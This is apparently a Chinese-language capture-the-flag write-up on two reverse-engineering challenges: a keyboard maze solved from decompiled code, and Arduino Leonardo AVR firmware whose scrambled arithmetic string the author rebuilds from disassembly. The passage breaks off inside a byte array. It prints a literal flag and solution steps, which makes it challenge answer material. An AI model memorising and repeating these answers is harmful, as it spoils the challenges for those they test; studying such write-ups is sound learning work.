if ( v8 != 0x1F ) // down
goto LABEL_14;
if ( (v5 & 0xFFFFFFF0) == 0xD0 )
v5 -= 0xD0;
else
v5 += 0x10;
LABEL_13:
dword_1400030E4 = v5;
LABEL_14:
if ( v8 == 0x1E ) // left
{
if ( v5 & 0xF )
--v5;
else
v5 += 0xF;
dword_1400030E4 = v5;
}
if ( v8 == 0x20 ) // right
{
if ( (v5 & 0xF) == 15 )
v5 -= 15;
else
++v5;
dword_1400030E4 = v5;
}
v9 = aO[v5];
if ( v9 == '*' )
{
v10 = "-1s\n";
}
else
{
if ( v9 != '7' )
{
LABEL_29:
aO[v5] = 'o';
goto LABEL_30;
}
v10 = "The input is the flag!\n";
}
aO为字符串
****************
o..............*
**************.*
************...*
***********..***
**********..****
*********..*****
********..******
*******..*******
******..********
*****..*********
****..**********
****7***********
要把这个o走到7的位置
0x11 0x1F 0x1E 0x20是硬件扫描码 wsad,对应写出移动的顺序就行了
https://blog.csdn.net/wangyi_lin/article/details/9016125
https://bbs.pediy.com/thread-218363.htm
flag:hctf{ddddddddddddddssaasasasasasasasasas}
找到了字符串 Arduino leonardo,是单片机的型号.
该题是AVR汇编, 应该是一道算法题, 转成bin之后能看到:
44646 + ( 64094 + (71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + 23142 * ( 31895 + ( 62386 * ( 12179 ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) - 70643 ) ) 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) - 43827 ) 66562 ) )
但好像不是一个完整的等式, 无法解出...emmmm
做法是瞎猜的,没想到能做出来= =
这是个hex文件,首先不知道它机器的芯片,先用ida直接打开,能看到解析后的内容,也可以用相关工具解析成bin再用ida打开。发现0180地址出有一串字符串Arduino LLC Arduino Leonardo
这是它机器的型号,查找资料知道是avr架构的ATmega32u
ida打开的时候,processer type 选Atmel AVR,打开后选ATmega32_L,可以反汇编了。
在0D40地址看到
notepad.exe 44646 + ( 64094 + (71825 * ( ( 15873 + ( 21793 * ( 7234 + ( 17649 * ( ( 2155 + ( 74767 * ( 35392 + ( 88216 * ( 83920 + ( 16270 + ( 20151 * ( 5268 + ( 90693 * ( 82773 + ( 716 + 27377 * ( 44329 + ( 49366 * ( ( ( 38790 + ( 70247 * ( 97233 + ( 18347 + ( 22117 * ( ( ( 72576 + ( ( 47541 + ( 46975 + ( 53769 * ( 94005 + ( ( 72914 + ( 5137 + ( 87544 * 71583 + ( 20370 + ( 37968 * ( 17478 + ( ( 40532 + ( 10089 + ( 13332 * ( ( 24170 + ( 46845 * ( 16048 + 23142 * ( 31895 + ( 62386 * ( 12179 ( 94552 + ( ( ( 52918 + ( 91580 + ( ( ( 38412 + ( 91537 * ( 70 + ( 98594 * ( ( 35275 + ( 62912 * ( 4755 + ( 16737 * ( 27595 + ( ( 43551 + ( 64482 * 3550 ) ) - 21031 ) ) ) ) ) ) - 57553 ) ) - 89883 ) - 38900 ) ) ) - 19517 ) - 79082 ) ) ) ) ) ) ) ) - 70643 ) ) 55350 ) ) ) ) ) - 40301 ) ) ) ) - 83065 ) ) ) ) ) - 52460 ) ) - 49428 ) - 94686 ) ) ) ) ) ) - 1653 ) - 65217 ) ) ) - 43827 ) 66562 ) )
不是一个完整的式子,不能计算,想起他方向。
这不是一个 完整的字符串,而是很多个字符串(中间有\x00),大致猜一下可能是选取其中某些字符串拼接起来,就能计算了
从开头开始跟踪,跟踪到sub_9A8,应该是解析相关的函数了。
往下找,找到可疑的地方0A6C开始:
ROM:0A6C ldi r22, 0xF4
ROM:0A6D ldi r23, 1
ROM:0A6E ldi r24, 0
ROM:0A6F ldi r25, 0
ROM:0A70 call sub_8B6
ROM:0A72 ldi r24, 0x40 ; '@'
ROM:0A73 ldi r25, 1
ROM:0A74 call sub_88D
ROM:0A76 ldi r22, 0xF4
ROM:0A77 ldi r23, 1
ROM:0A78 ldi r24, 0
ROM:0A79 ldi r25, 0
ROM:0A7A call sub_8B6
ROM:0A7C ldi r24, 0x4C ; 'L'
ROM:0A7D ldi r25, 1
ROM:0A7E call sub_88D
ROM:0A80 ldi r22, 0xF4
ROM:0A81 ldi r23, 1
ROM:0A82 ldi r24, 0
ROM:0A83 ldi r25, 0
ROM:0A84 call sub_8B6
ROM:0A86 ldi r24, 0x53 ; 'S'
ROM:0A87 ldi r25, 1
ROM:0A88 call sub_88D
ROM:0A8A ldi r22, 0xF4
ROM:0A8B ldi r23, 1
ROM:0A8C ldi r24, 0
ROM:0A8D ldi r25, 0
ROM:0A8E call sub_8B6
ROM:0A90 ldi r24, 0x62 ; 'b'
ROM:0A91 ldi r25, 1
ROM:0A92 call sub_88D
有很多结构十分相似的部分,把不一样的地方都提取出来,是一堆地址
140 14C 153 162 177 18B 1A9 1C8 1D3 1EB 1FE 25E 207 21C 227 246 261 270 28B 298 2A3 2B1 25C 2BA 2C5 2D0 2D7 2F2 307 310 25E 327 346 3DC 34D 364 373 38F 3A6 3B3 3BF 3D0 3DF 3EF 400 44B 413 42C 43B 44F 452 490 45F 46C 47D 48E 497 49E 4B5 4CB 445 445 4D6 44D 44D 494 4E5 44F
这些地址并不指向任何东西,但如过把140对应之前字符串的开头notepad.exe,14C刚好能对应第二个字符串开头44646,以此类推,而某些地址可能指向的不是某一字符串的开头,这样猜测整合完应该能得到完整算术式
试着把他们一一对应过去
unsigned char secret[] = { 0x6E, 0x6F, 0x74, 0x65, 0x70, 0x61, 0x64, 0x2E, 0x65, 0x78,0x65, 0x00, 0x34, 0x34, 0x36, 0x34, 0x36, 0x20, 0x00, 0x2B,0x20, 0x28, 0x20, 0x36, 0x34, 0x30, 0x39, 0x34, 0x20, 0x2B,0x20, 0x28, 0x20, 0x00, 0x37, 0x31, 0x38, 0x32,